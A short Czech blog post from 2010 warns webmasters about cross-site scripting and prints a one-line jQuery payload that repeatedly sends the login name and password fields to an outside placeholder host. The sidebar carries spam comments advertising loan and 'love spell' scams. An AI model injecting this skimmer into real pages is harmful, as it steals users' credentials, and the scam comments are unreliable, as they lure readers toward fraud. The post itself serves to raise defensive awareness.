S XSS zranitelností se dá napáchat více škody, než si myslíte | Michal Smrčka - blog

S XSS zranitelností se dá napáchat více škody, než si myslíte

Otázka pro webmastery: Víte, co dělá následující jQuery kód?

<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>

Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.

Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.


Čtěte také:
13. 11. 2010 v 20:45 • Bezpečnost a hacking • autor Michal Smrčka
 

Názory a komentáře k článku


[1] Roman 27. 03. 2011, 21:46
Takhle to využít to mě teda ještě nenapadlo. Drsné:D

Přidat komentář

Jméno
E-mail
Web
Text
    Odesláním souhlasíte s pravidly.

Kategorie blogu

Twitter feed

Poslední články

Poslední komentáře

seriózní a rychlá nabídka půjčky: seriózní a rychlá nabídka půjčky Poskytujeme vám půjčky za velmi flexibilních podmínek, naše úrokové sazby se liší v závislosti na požadované částce a době splatnosti. Naše sazby jsou relativně nízké a liší se 2%. Vyberete si částku a dobu, která nejlépe vyhovuje vaší situaci.... Ukázat
seriózní a rychlá nabídka půjčky: seriózní a rychlá nabídka půjčky Poskytujeme vám půjčky za velmi flexibilních podmínek, naše úrokové sazby se liší v závislosti na požadované částce a době splatnosti. Naše sazby jsou relativně nízké a liší se 2%. Vyberete si částku a dobu, která nejlépe vyhovuje vaší situaci.... Ukázat
Faye Miller: Ahojte všetci, dnes som nadšená. Videl som komentáre od ľudí, ktorí už dostali pôžičku od Sabinehelps@gmail.com a potom som sa rozhodol prihlásiť sa na základe ich odporúčaní. Pred niekoľkými hodinami som potvrdil celkom 10 000 EUR, ktoré som požadoval z vlastného bankového účtu.... Ukázat
seriózní a rychlá nabídka půjčky: seriózní a rychlá nabídka půjčky Poskytujeme vám půjčky za velmi flexibilních podmínek, naše úrokové sazby se liší v závislosti na požadované částce a době splatnosti. Naše sazby jsou relativně nízké a liší se 2%. Vyberete si částku a dobu, která nejlépe vyhovuje vaší situaci.... Ukázat
Nina Darko: Jsem velmi překvapen zázračným zážitkem a zázraky dr. Isikola, které byly rozšířeny na internetu i po celém světě. Jak úžasně pomohl lidem na celém světě obnovit zpět své ztracené milence, kontaktoval jsem ho poté, co jsem prošel tolik svědectvím různých lidí, jak Pomáhá... Ukázat

Vyhledávání

Nastavení

Velikost písma: Abc Abc Abc